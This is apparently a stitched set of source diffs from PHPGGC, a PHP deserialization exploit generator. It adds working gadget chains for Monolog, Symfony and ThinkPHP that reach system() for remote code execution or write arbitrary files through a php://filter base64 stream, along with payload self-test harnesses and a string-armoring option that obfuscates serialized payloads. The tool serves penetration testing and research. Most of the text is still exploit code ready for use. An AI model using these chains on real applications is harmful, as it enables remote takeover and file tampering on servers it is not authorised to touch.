5 // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
6
7 class FingersCrossedHandler {
8 protected $passthruLevel;
9 protected $buffer = array();
10 protected $handler;
11
12 public function __construct($param, $handler)
13 {
14 $this->passthruLevel = 0;
15 $this->buffer = ['test' => [$param, 'level' => null]];
16 $this->handler = $handler;
17 }
18
19 }
20
21 class BufferHandler
22 {
23 protected $handler;
24 protected $bufferSize = -1;
25 protected $buffer;
26 # ($record['level'] < $this->level) == false
27 protected $level = null;
28 protected $initialized = true;
29 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
30 protected $bufferLimit = -1;
31 protected $processors;
32
33 function __construct($function)
34 {
35 $this->processors = ['current', $function];
36 }
37 }
38
39 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '1.10.0 <= 2.2.0+';
7 public static $vector = '__destruct';
8 public static $author = 'mir-hossein';
9 public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Monolog\Handler\FingersCrossedHandler(
17 ['pos', $function], // pos() is an alias of current() function, but it's shorter :-)
18 [$parameter, 'level' => 0]
19 );
20 }
21 }
0 <?php
1 namespace Monolog\Handler
2 {
3 class FingersCrossedHandler
4 {
5 protected $passthruLevel = 0;
6 protected $handler;
7 protected $buffer;
8 protected $processors;
9
10 function __construct($methods,$command)
11 {
12 $this->processors = $methods;
13 $this->buffer = [$command];
14 $this->handler = $this;
15 }
16 }
17 }
88
99 public function generate(array $parameters)
1010 {
11 $remote_file = $parameters["remote_file"];
11 $remote_path = $parameters["remote_path"];
1212
13 return new \PhpCsFixer\FileRemoval($remote_file);
13 return new \PhpCsFixer\FileRemoval($remote_path);
1414 }
1515 }
1616
55 class FileRemoval
66 {
77
8 function __construct($remote_file)
8 function __construct($remote_path)
99 {
10 $this->files = [$remote_file => $remote_file];
10 $this->files = [$remote_path => $remote_path];
1111
1212 }
1313
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_file);
14 return new \PhpCsFixer\Linter\ProcessLinter($remote_path);
1515 }
1616 }
44 class ProcessLinter
55 {
66
7 function __construct($remote_file)
7 function __construct($remote_path)
88 {
9 $this->temporaryFile = $remote_file;
9 $this->temporaryFile = $remote_path;
1010 $this->fileRemoval = new \PhpCsFixer\FileRemoval();
1111
1212 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']);
12 return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']);
12 return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']);
1313 }
1414 }
1818 {
1919 return new \Phalcon\Logger\Adapter\File();
2020 }
21
22 public function test_setup()
23 {
24 throw new \PHPGGC\Exception("This GC cannot be tested.");
25 }
2126 }
77 public static $vector = '__destruct';
88 public static $author = 'd3adc0de';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Smarty_Internal_Template($parameters['remote_file']);
15 return new \Smarty_Internal_Template($parameters['remote_path']);
1616 }
1717 }
99
1010 public function generate(array $parameters)
1111 {
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']);
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_path']);
1313 }
1414 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.2.*';
7 public static $vector = '__destruct';
8 public static $author = 'byc_404';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15
16 return new \Symfony\Component\HttpKernel\DataCollector\DumpDataCollector($function, $parameter);
17 }
18 }
0 <?php
1
2 namespace Symfony\Component\Cache\Adapter
3 {
4 class ProxyAdapter
5 {
6 private $createCacheItem;
7 private $namespace;
8 private $pool;
9
10 public function __construct($createCacheItem, $pool)
11 {
12 $this->createCacheItem = $createCacheItem;
13 $this->pool = $pool;
14 $this->namespace = '';
15 }
16 }
17
18
19 class NullAdapter
20 {
21 private $createCacheItem;
22
23 public function __construct($createCacheItem)
24 {
25 $this->createCacheItem = $createCacheItem;
26 }
27 }
28 }
29
30 namespace Symfony\Component\Console\Helper
31 {
32 class Dumper
33 {
34 private $handler;
35
36 public function __construct($handler)
37 {
38 $this->handler = $handler;
39 }
40 }
41 }
42
43
44 namespace Symfony\Component\Cache\Traits
45 {
46 class RedisProxy
47 {
48 private $redis;
49 private $initializer;
50
51 public function __construct($initializer, $redis)
52 {
53 $this->initializer = $initializer;
54 $this->redis = $redis;
55 }
56 }
57 }
58
59 namespace Symfony\Component\Form
60 {
61
62 class FormErrorIterator
63 {
64 public $form;
65 private $errors;
66
67 function __construct($errors, $form)
68 {
69 $this->errors = $errors;
70 $this->form = $form;
71 }
72 }
73 }
74
75
76 namespace Symfony\Component\HttpKernel\DataCollector
77 {
78 class DumpDataCollector
79 {
80 protected $data;
81 private $stopwatch;
82 private $fileLinkFormat;
83 private $dataCount = 0;
84 private $isCollected = false;
85 private $clonesCount = 0;
86 private $clonesIndex = 0;
87
88 public function __construct($function, $command)
89 {
90 $this->data = [
91 [
92 "data" => "1",
93 "name" => new \Symfony\Component\Form\FormErrorIterator([
94 new \Symfony\Component\Form\FormErrorIterator(
95 [],
96 new \Symfony\Component\Cache\Traits\RedisProxy(
97 new \Symfony\Component\Console\Helper\Dumper([
98 new \Symfony\Component\Cache\Adapter\ProxyAdapter(
99 'dd', // exit function
100 new \Symfony\Component\Cache\Adapter\NullAdapter($function)
101 ),
102 "getItem"
103 ]),
104 $command
105 )
106 )],
107 null
108 ),
109 "file" => "3",
110 "line" => "4"
111 ],
112 null,
113 null
114 ];
115 }
116 }
117 }
1313
1414 public function generate(array $parameters)
1515 {
16 $file = $parameters['remote_file'];
16 $file = $parameters['remote_path'];
1717
1818 return new \TCPDF(
1919 $file
22 class TCPDF {
33 protected $imagekeys;
44
5 function __construct($remote_file) {
5 function __construct($remote_path) {
66 $this->imagekeys = [
7 $remote_file
7 $remote_path
88 ];
99 }
1010 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.4-5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 use think\model\relation\HasMany;
5
6 class Process
7 {
8 private $processPipes;
9 private $status = 3;
10 private $processInformation = ['running' => true];
11
12 public function __construct($path, $data)
13 {
14 $this->processPipes = new HasMany($path, $data);
15 }
16 }
17
18 class Model
19 {
20 }
21 }
22
23
24 namespace think\model
25 {
26 use think\Model;
27
28 class Merge extends Model
29 {
30 public $a = '1';
31
32 public function __construct()
33 {
34 }
35 }
36
37 class Relation
38 {
39 }
40 }
41
42
43 namespace think\model\relation
44 {
45 use think\console\Output;
46 use think\model\Merge;
47 use think\model\Relation;
48
49 class HasMany extends Relation
50 {
51 protected $parent;
52 protected $localKey = 'a';
53 protected $pivot;
54 protected $foreignKey;
55
56 public function __construct($path, $data)
57 {
58 $this->foreignKey = $data;
59 $this->query = new Output($path, $data);
60 $this->parent = new Merge();
61 }
62 }
63 }
64
65
66 namespace think\db
67 {
68 class Query
69 {
70 }
71 }
72
73
74 namespace think\console
75 {
76 class Output
77 {
78 protected $styles = [
79 'where'
80 ];
81 private $handle;
82
83 public function __construct($path, $data)
84 {
85 $this->handle = new \think\session\driver\Memcache($path, $data);
86 }
87 }
88 }
89
90
91 namespace think\session\driver
92 {
93 class Memcache
94 {
95 protected $handler;
96
97 public function __construct($path, $data)
98 {
99 $this->handler = new \think\cache\driver\Memcached($path, $data);
100 }
101 }
102 }
103
104
105 namespace think\cache\driver
106 {
107 class Memcached
108 {
109 protected $tag;
110 protected $options;
111 protected $handler;
112
113 public function __construct($path)
114 {
115 $this->tag = true;
116 $this->options = [
117 'expire' => 0,
118 'prefix' => '',
119 ];
120 $this->handler = new File($path);
121 }
122 }
123
124 class File
125 {
126 protected $tag;
127 protected $options;
128
129 public function __construct($path)
130 {
131 $this->tag = false;
132 $this->options = [
133 'expire' => 3600,
134 'cache_subdir' => false,
135 'prefix' => '',
136 'data_compress' => false,
137 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
138 ];
139 }
140 }
141 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.0-5.0.03';
7 public static $vector = '__destruct';
8 public static $author = 'zcy2018';
9 public static $information = '
10 We do not have full control of the path. Also, the path will turn to
11 a long hex value(md5). Your file path will be REMOTE_PATH/3b58a9545013e88c7186db11bb158c44.php.
12 Tested on Windows with php7.3.4 and apache2.4.39.
13 ';
14
15 public function generate(array $parameters)
16 {
17 # The payload string will get serialized before it gets written to the
18 # base64-decode stream, so we need to be careful about the length.
19 # e.g. s:100:"AAAA...."; will not decode the same as s:10:"AAA...";
20 $path = $parameters['remote_path'];
21 $data = base64_encode($parameters['data']);
22 $data = preg_replace('/=/','+', $data);
23
24 $length = strlen('<query>' . $data . '</query>');
25
26 if($length > 100000)
27 throw new \PHPGGC\Exception('Payload too big !');
28
29 $log = (int) log10($length);
30 $prefix = str_repeat('A', 4 - $log);
31 $data = $prefix . $data;
32
33 return new \think\Process($path, $data);
34 }
35 }
0 <?php
1
2 namespace think
3 {
4 class Process
5 {
6 private $processPipes;
7 private $status = 3;
8 private $processInformation = ['running' => true];
9
10 public function __construct($path,$data)
11 {
12 $this->processPipes = new \think\model\Relation($path, $data);
13 }
14 }
15 }
16
17
18 namespace think\model
19 {
20 use think\console\Output;
21
22 class Relation
23 {
24 protected $query;
25 protected $type = 2; // HAS_MANY
26 protected $where;
27
28 public function __construct($path,$data)
29 {
30 $this->where = $data;
31 $this->query = new Output($path);
32 }
33 }
34 }
35
36
37 namespace think\console
38 {
39 class Output
40 {
41 protected $styles = [
42 'where'
43 ];
44 private $handle;
45
46 public function __construct($path)
47 {
48 $this->handle = new \think\session\driver\Memcache($path);
49 }
50 }
51 }
52
53
54 namespace think\session\driver
55 {
56 class Memcache
57 {
58 protected $handler;
59
60 public function __construct($path)
61 {
62 $this->handler = new \think\cache\driver\Memcached($path);
63 }
64 }
65 }
66
67
68 namespace think\cache\driver
69 {
70 class Memcached
71 {
72 protected $tag;
73 protected $options;
74 protected $handler;
75
76 public function __construct($path)
77 {
78 $this->tag = true;
79 $this->options = [
80 'expire' => 0,
81 'prefix' => '',
82 ];
83 $this->handler = new File($path);
84 }
85 }
86
87 class File
88 {
89 protected $tag;
90 protected $options;
91
92 public function __construct($path)
93 {
94 $this->tag = false;
95 $this->options = [
96 'expire' => 3600,
97 'cache_subdir' => false,
98 'prefix' => '',
99 'data_compress' => false,
100 'path' => 'php://filter/convert.base64-decode/resource=' . $path,
101 ];
102 }
103 }
104 }
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.0.24';
7 public static $vector = '__destruct';
8 public static $author = 'kemmio';
9 public static $information = '
10 This chain can only execute any function including system().
11 Shoutout to c014 the 0ctf 2021 challenge creator!
12 See the full writeup for the chain at https://blog.hexens.io/
13 ';
14
15 public function generate(array $parameters)
16 {
17 $function = $parameters['function'];
18 $parameter = $parameters['parameter'];
19 return new \think\process\pipes\Windows($function, $parameter);
20 }
21 }
0 <?php
1
2 namespace think\process\pipes
3 {
4 use think\model\Pivot;
5
6 class Pipes
7 {
8 }
9
10 class Windows extends Pipes
11 {
12 private $files = [];
13
14 function __construct($function, $parameter)
15 {
16 $this->files = [new Pivot($function, $parameter)];
17 }
18 }
19 }
20
21 namespace think\model
22 {
23 use think\db\Query;
24
25 abstract class Relation
26 {
27 }
28 }
29
30 namespace think\model\relation
31 {
32 use think\model\Relation;
33 use think\db\Query;
34
35 abstract class OneToOne extends Relation
36 {
37 }
38
39 class HasOne extends OneToOne
40 {
41
42 protected $selfRelation;
43 protected $query;
44 protected $bindAttr = [];
45
46 function __construct($function, $parameter)
47 {
48 $this->bindAttr = ["no", "123"];
49 $this->selfRelation = false;
50 $this->query = new Query($function, $parameter);
51 }
52 }
53 }
54
55
56 namespace think
57 {
58 use think\model\relation\HasOne;
59 use think\console\Output;
60 use think\db\Query;
61
62 abstract class Model
63 {
64
65 protected $append = [];
66 protected $error;
67 protected $parent;
68 protected $selfRelation;
69 protected $query;
70
71 function __construct($function, $parameter)
72 {
73 $this->append = ['getError'];
74 $this->error = new HasOne($function, $parameter);
75 $this->parent = new Output($function, $parameter);
76 $this->selfRelation = false;
77 $this->query = new Query($function, $parameter);
78 }
79 }
80 }
81
82
83 namespace think\db
84 {
85 use think\console\Output;
86
87 class Query
88 {
89 protected $model;
90 function __construct($function, $parameter)
91 {
92 $this->model = new Output($function, $parameter);
93 }
94 }
95 }
96
97
98 namespace think\console
99 {
100 use think\session\driver\Memcached;
101
102 class Output
103 {
104
105 private $handle = null;
106 protected $styles = [];
107
108 function __construct($function, $parameter)
109 {
110 $this->handle = new Memcached($function, $parameter);
111 $this->styles = ['getAttr'];
112 }
113 }
114 }
115
116
117 namespace think\session\driver
118 {
119 use think\cache\driver\Memcache;
120
121 class Memcached
122 {
123
124 protected $handler = null;
125 protected $config = [];
126
127 function __construct($function, $parameter)
128 {
129 $this->handler = new Memcache($function, $parameter);
130 $this->config = [
131 'host' => '127.0.0.1',
132 'port' => 11211,
133 'expire' => 3600,
134 'timeout' => 0,
135 'session_name' => 'HEXENS',
136 'username' => '',
137 'password' => '',
138 ];
139 }
140 }
141 }
142
143
144
145 namespace think\cache\driver
146 {
147 use think\Request;
148
149 class Memcache
150 {
151
152 protected $options = [];
153 protected $handler = null;
154 protected $tag;
155
156 function __construct($function, $parameter)
157 {
158 $this->handler = new Request($function, $parameter);
159 $this->options = [
160 'expire' => 0,
161 'cache_subdir' => false,
162 'prefix' => '',
163 'path' => '',
164 'data_compress' => false,
165 ];
166 $this->tag = true;
167 }
168 }
169 }
170
171
172
173 namespace think
174 {
175 class Request
176 {
177
178 protected $get;
179 protected $filter;
180
181 function __construct($function, $parameter)
182 {
183 $this->get = ["HEXENS<getAttr>no<" => $parameter];
184 $this->filter = $function;
185 }
186 }
187 }
188
189
190 namespace think\model
191 {
192 use think\Model;
193
194 class Pivot extends Model
195 {
196 }
197 }
77 public static $vector = '__destruct';
88 public static $author = 'mpchadwick';
99 public static $parameters = [
10 'remote_file'
10 'remote_path'
1111 ];
1212
1313 public function generate(array $parameters)
1414 {
15 $file = $parameters['remote_file'];
15 $file = $parameters['remote_path'];
1616
1717 return new \Zend_Http_Response_Stream(
1818 true,
1010 */
1111 class ASCIIStrings extends Enhancement
1212 {
13 public function __construct($full=false)
14 {
15 $this->full = $full;
16 }
17
1318 public function process_serialized($serialized)
1419 {
1520 $new = '';
2429 )
2530 )
2631 {
27
2832 $p_start = $matches[0][1];
2933 $p_start_string = $p_start + strlen($matches[0][0]);
3034 $length = $matches[1][0];
3135 $p_end_string = $p_start_string + $length;
3236
3337 # Check if this really is a serialized string
38 # This is error-prone: if a stirng contains a serialized string,
39 # for instance, ...
3440 if(!(
3541 strlen($serialized) > $p_end_string + 2 &&
3642 substr($serialized, $p_end_string, 2) == '";'
4652 for($i=0; $i < strlen($string); $i++)
4753 {
4854 $letter = $string[$i];
49 $clean_string .= ctype_print($letter) && $letter != '\\' ?
50 $letter :
51 sprintf("\\%02x", ord($letter));
52 ;
55 if($this->full || !ctype_print($letter) || $letter == '\\')
56 $letter = sprintf("\\%02x", ord($letter));
57
58 $clean_string .= $letter;
5359 }
5460
5561 # Make the replacement
55 {
66 public static $type = self::TYPE_FD;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file delete')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 return !file_exists($arguments['remote_path']);
21 }
22
23 public function test_cleanup($arguments)
24 {
25 if(file_exists($arguments['remote_path']))
26 unlink($arguments['remote_path']);
27 }
1028 }
55 {
66 public static $type = self::TYPE_FR;
77 public static $parameters = [
8 'remote_file'
8 'remote_path'
99 ];
10
11 public function test_setup()
12 {
13 return [
14 'remote_path' => \PHPGGC\Util::rand_file('test file read')
15 ];
16 }
17
18 public function test_confirm($arguments, $output)
19 {
20 $expected = file_get_contents($arguments['remote_path']);
21 return strpos($output, $expected) !== false;
22 }
23
24 public function test_cleanup($arguments)
25 {
26 if(file_exists($arguments['remote_path']))
27 unlink($arguments['remote_path']);
28 }
1029 }
1919 $parameters['data'] = file_get_contents($local_path);
2020 return $parameters;
2121 }
22
23 public function test_setup()
24 {
25 return [
26 'local_path' => \PHPGGC\Util::rand_file('test file write'),
27 'remote_path' => \PHPGGC\Util::rand_path('', '.test')
28 ];
29 }
30
31 public function test_confirm($arguments, $output)
32 {
33 if(!file_exists($arguments['remote_path']))
34 return false;
35
36 $expected = file_get_contents($arguments['local_path']);
37 $obtained = file_get_contents($arguments['remote_path']);
38
39 return strpos($obtained, $expected) !== false;
40 }
41
42 public function test_cleanup($arguments)
43 {
44 if(file_exists($arguments['remote_path']))
45 unlink($arguments['remote_path']);
46 if(file_exists($arguments['local_path']))
47 unlink($arguments['local_path']);
48 }
2249 }
44 abstract class PHPInfo extends \PHPGGC\GadgetChain
55 {
66 public static $type = self::TYPE_INFO;
7
8 public function test_setup()
9 {
10 return [];
11 }
12
13 public function test_confirm($arguments, $output)
14 {
15 $expected = [
16 'phpinfo()',
17 'PHP Authors',
18 'Module Authors',
19 'PHP Variables'
20 ];
21 foreach($expected as $needle)
22 if(strpos($output, $needle) === false)
23 return false;
24
25 return true;
26 }
727 }
1212 public static $parameters = [
1313 'command'
1414 ];
15
16 public function test_setup()
17 {
18 $command = $this->_test_build_command();
19 return [
20 'command' => $command
21 ];
22 }
1523 }
1313 'function',
1414 'parameter'
1515 ];
16
17 public function test_setup()
18 {
19 $command = $this->_test_build_command();
20 return [
21 'function' => 'system',
22 'parameter' =>
23 $command
24 ];
25 }
1626 }
1212 public static $parameters = [
1313 'code'
1414 ];
15
16 public function test_setup()
17 {
18 # TODO file_put_contents() might be a better option here, but it'll work
19 # for now.
20 $command = $this->_test_build_command();
21 return [
22 'code' => 'system(' . var_export($command, true) . ');'
23 ];
24 }
1525 }
66 public static $type = self::TYPE_RCE;
77 # TBD by subclasses
88 public static $parameters = [];
9
10 /**
11 * The result of the command is not necessarily visible. We write the output
12 * to a file instead to be able to tell if the payload worked, even if
13 * there's no output.
14 */
15 protected function _test_build_command()
16 {
17 $this->__test_rand_token = sha1(rand());
18 $this->__test_rand_path = \PHPGGC\Util::rand_path();
19 return
20 'echo ' . $this->__test_rand_token .
21 ' > ' . $this->__test_rand_path
22 ;
23 }
24
25 public function test_confirm($arguments, $output)
26 {
27 if(!file_exists($this->__test_rand_path))
28 return false;
29 $result = file_get_contents($this->__test_rand_path);
30 return strpos($result, $this->__test_rand_token) !== false;
31 }
32
33 public function test_cleanup($arguments)
34 {
35 if(file_exists($this->__test_rand_path))
36 unlink($this->__test_rand_path);
37 }
938 }
66 public static $parameters = [
77 'uri'
88 ];
9
10 public function test_setup()
11 {
12 throw new \PHPGGC\Exception("SSRF payloads cannot be tested.");
13 }
14
15 public function test_confirm($arguments, $output)
16 {
17 return false;
18 }
919 }
1020 ?>
77 public static $parameters = [
88 'sql'
99 ];
10
11 public function test_setup()
12 {
13 throw new \PHPGGC\Exception("SQL injection payloads cannot be tested.");
14 }
15
16 public function test_confirm($arguments, $output)
17 {
18 return false;
19 }
1020 }
2020 *
2121 * Along with the generate() method, which converts parameters into an object,
2222 * three generic methods are available:
23 * - process_parameters($parameters)
24 * - process_object($object)
25 * - process_serialized($serialized)
23 * - process_parameters(array $parameters)
24 * - process_object(object $object)
25 * - process_serialized(string $serialized)
2626 *
2727 * Those methods are to be found in other PHPGGC classes, for instance the main
2828 * class for handling CLI, PHPGGC. Refer to their documentation to understand
5757 $this->load_gadgets();
5858 }
5959
60 /**
61 * Loads the gadgets required by the chain.
62 */
6063 protected function load_gadgets()
6164 {
6265 $directory = dirname((new \ReflectionClass($this))->getFileName());
7679 * Modifies given parameters if required.
7780 * Called before `generate()`.
7881 * This is called on the gadget chain's parameters, such as for instance
79 * "remote_file" and "local_file" for a file write chain.
82 * "remote_path" and "local_path" for a file write chain.
8083 *
8184 * @param array $parameters Gadget chain parameters
8285 * @return array Modified parameters
155158 $class = str_replace('\\', '/', $class);
156159 return $class;
157160 }
161
162 # Test methods - Internal use only
163
164 /**
165 * Returns arguments that need to be used to test the gadget chain.
166 * This method can also setup the testing environment, by creating a file
167 * for instance.
168 *
169 * @return array Arguments the payload need to be generated with, as a
170 * [key] => [test-value] associative array.
171 */
172 abstract public function test_setup();
173
174 /**
175 * Returns whether the deserialisation of the payload yielded the expected
176 * results.
177 *
178 * @param array arguments Arguments the payload was generated with
179 * @param string result Output of the test_payload.php command
180 *
181 * @return bool true if the payload executed successfully.
182 */
183 abstract public function test_confirm($arguments, $output);
184
185 /**
186 * Cleans up the test environment, e.g. removes a file created by
187 * test_setup().
188 *
189 * @param array arguments Arguments the payload was generated with
190 *
191 * @return null
192 */
193 public function test_cleanup($arguments)
194 {
195 }
158196 }
0 <?php
1
2 namespace PHPGGC;
3
4 /**
5 * Utility functions.
6 */
7 class Util
8 {
9 /**
10 * Creates a file in the temporary directory.
11 *
12 * @param string $name Filename
13 * @param string $contents Contents of the file
14 *
15 * @return string Full path to the file
16 */
17 static public function temp_file($name, $contents)
18 {
19 $path = static::temp_path($name);
20 file_put_contents($path, $contents);
21 return $path;
22 }
23
24 /**
25 * Creates a file in the temporary directory.
26 *
27 * @param string $contents Contents of the file
28 * @param string $prefix A string to prepend to the filename
29 * @param string $suffix A string to append to the filename
30 *
31 * @return string Full path to the file
32 */
33 static public function rand_file($contents, $prefix='', $suffix='')
34 {
35 $path = static::rand_path($prefix, $suffix);
36 file_put_contents($path, $contents);
37 return $path;
38 }
39
40 /**
41 * Returns a random temporary file path.
42 *
43 * @param string $prefix A string to prepend to the filename
44 * @param string $suffix A string to append to the filename
45 *
46 * @return string Full path to the file
47 */
48 static public function rand_path($prefix='', $suffix='')
49 {
50 return static::temp_path(
51 $prefix . 'phpggc' . sha1(rand()) . $suffix
52 );
53 }
54
55 /**
56 * Returns a temporary file path whose basename is $name
57 *
58 * @param string $name Name of the temporary file
59 *
60 * @return string Full path to the file
61 */
62 static public function temp_path($name)
63 {
64 return sys_get_temp_dir() . DIRECTORY_SEPARATOR . $name;
65 }
66 }
3737 {
3838 global $argv;
3939
40 $parameters = $this->parse_cmdline($argv);
41
42 if($parameters === null)
40 $arguments = $this->parse_cmdline($argv);
41
42 if($arguments === null)
4343 return;
4444
45 if(count($parameters) < 1)
45 if(count($arguments) < 1)
4646 {
4747 $this->help();
4848 return;
4949 }
5050
51 $class = array_shift($parameters);
51 $class = array_shift($arguments);
5252 $gc = $this->get_gadget_chain($class);
5353
5454 $this->setup_enhancements();
55 $parameters = $this->get_type_parameters($gc, $parameters);
56 $generated = $this->serialize($gc, $parameters);
5755
5856 if(in_array('test-payload', $this->options))
59 $this->test_payload($gc, $generated);
57 {
58 if(count($arguments) > 0)
59 $this->o(
60 "WARNING: Testing a payload ignores payload arguments."
61 );
62 $this->test_payload($gc);
63 }
6064 else
65 {
66 $arguments = $this->get_type_arguments($gc, $arguments);
67 $generated = $this->serialize($gc, $arguments);
6168 $this->output_payload($generated);
62 }
63
64 /**
65 * Runs generated payload using the ./template/test_payload.php script.
66 * We have to use system() here, because the classes used during the
67 * deserialization process are already defined by PHPGGC, and there is no
68 * mechanism allowing to delete classes in PHP. Therefore, a new PHP process
69 * has to be created.
70 */
71 public function test_payload($gc, $payload)
69 }
70 }
71
72 /**
73 * Tests whether the payload works in the current environement.
74 * PHPGGC will generate test arguments, include vendor/autoload.php, run the
75 * payload, and check whether it was run successfully.
76 * The script will exit with status 0 if the payload triggered, 1 otherwise.
77 */
78 public function test_payload($gc)
7279 {
7380 $this->o('Trying to deserialize payload...');
81 $arguments = $gc->test_setup();
82 $payload = $this->serialize($gc, $arguments);
7483 $vector = isset($this->parameters['phar']) ? 'phar' : $gc::$vector;
75 system(
84
85 # We have to use system() here, because the classes used during the
86 # deserialization process are already defined by PHPGGC, and there is no
87 # mechanism allowing to delete classes in PHP. Therefore, a new PHP process
88 # has to be created.
89 $output = shell_exec(
7690 escapeshellarg(DIR_LIB . '/test_payload.php') . ' ' .
7791 escapeshellarg($vector) . ' ' .
7892 escapeshellarg(base64_encode($payload))
7993 );
94 $result = $gc->test_confirm($arguments, $output);
95
96 $gc->test_cleanup($arguments);
97
98 if($result)
99 {
100 $this->o('SUCCESS: Payload triggered !');
101 exit(0);
102 }
103 else
104 {
105 $this->o('FAILURE: Payload did not trigger !');
106 exit(1);
107 }
80108 }
81109
82110 /**
128156 {
129157 $enhancements = [];
130158
159 if(
160 in_array('ascii-strings', $this->options) &&
161 in_array('armor-strings', $this->options)
162 ) {
163 $this->e(
164 'Both ascii-strings and armor-strings are both set but they ' .
165 'are mutually exclusive'
166 );
167 }
168
131169 if(isset($this->parameters['wrapper']))
132170 $enhancements[] = new Enhancement\Wrapper($this->parameters['wrapper']);
133171 if(in_array('fast-destruct', $this->options))
134172 $enhancements[] = new Enhancement\FastDestruct();
135173 if(in_array('ascii-strings', $this->options))
136 $enhancements[] = new Enhancement\ASCIIStrings();
174 $enhancements[] = new Enhancement\ASCIIStrings(false);
175 if(in_array('armor-strings', $this->options))
176 $enhancements[] = new Enhancement\ASCIIStrings(true);
137177 if(isset($this->parameters['plus-numbers']))
138178 $enhancements[] = new Enhancement\PlusNumbers(
139179 $this->parameters['plus-numbers']
200240 */
201241 public static function autoload_register()
202242 {
203 spl_autoload_register(array(static::class, 'autoload'));
243 spl_autoload_register([static::class, 'autoload']);
204244 }
205245
206246 /**
526566 $this->o(' right after the unserialize() call, as opposed to at the end of the');
527567 $this->o(' script');
528568 $this->o(' -a, --ascii-strings');
529 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\'. This');
530 $this->o(' replaces every non-ASCII value to an hexadecimal representation:');
531 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
569 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for non-printable chars.');
570 $this->o(' This replaces every non-ASCII value to an hexadecimal representation:');
571 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"A\\00B\\09\\0D";');
532572 $this->o(' This is experimental and it might not work in some cases.');
573 $this->o(' -A, --armor-strings');
574 $this->o(' Uses the \'S\' serialization format instead of the standard \'s\' for every char.');
575 $this->o(' This replaces every character to an hexadecimal representation:');
576 $this->o(' s:5:"A<null_byte>B<cr><lf>"; -> S:5:"\\41\\00\\42\\09\\0D";');
577 $this->o(' This is experimental and it might not work in some cases.');
578 $this->o(' Note: Since strings grow by a factor of 3 using this option, the payload can get');
579 $this->o(' really long.');
533580 $this->o(' -n, --plus-numbers <types>');
534581 $this->o(' Adds a + symbol in front of every number symbol of the given type.');
535582 $this->o(' For instance, -n iO adds a + in front of every int and object name size:');
536583 $this->o(' O:3:"Abc":1:{s:1:"x";i:3;} -> O:+3:"Abc":1:{s:1:"x";i:+3;}');
537584 $this->o(' Note: Since PHP 7.2, only i and d (float) types can have a +');
538585 $this->o(' -w, --wrapper <wrapper>');
539 $this->o(' Specifies a file containing either or both functions:');
540 $this->o(' - process_parameters($parameters): called right before object is created');
541 $this->o(' - process_object($object): called right before the payload is serialized');
542 $this->o(' - process_serialized($serialized): called right after the payload is serialized');
586 $this->o(' Specifies a file containing at least one wrapper functions:');
587 $this->o(' - process_parameters(array $parameters): called right before object is created');
588 $this->o(' - process_object(object $object): called right before the payload is serialized');
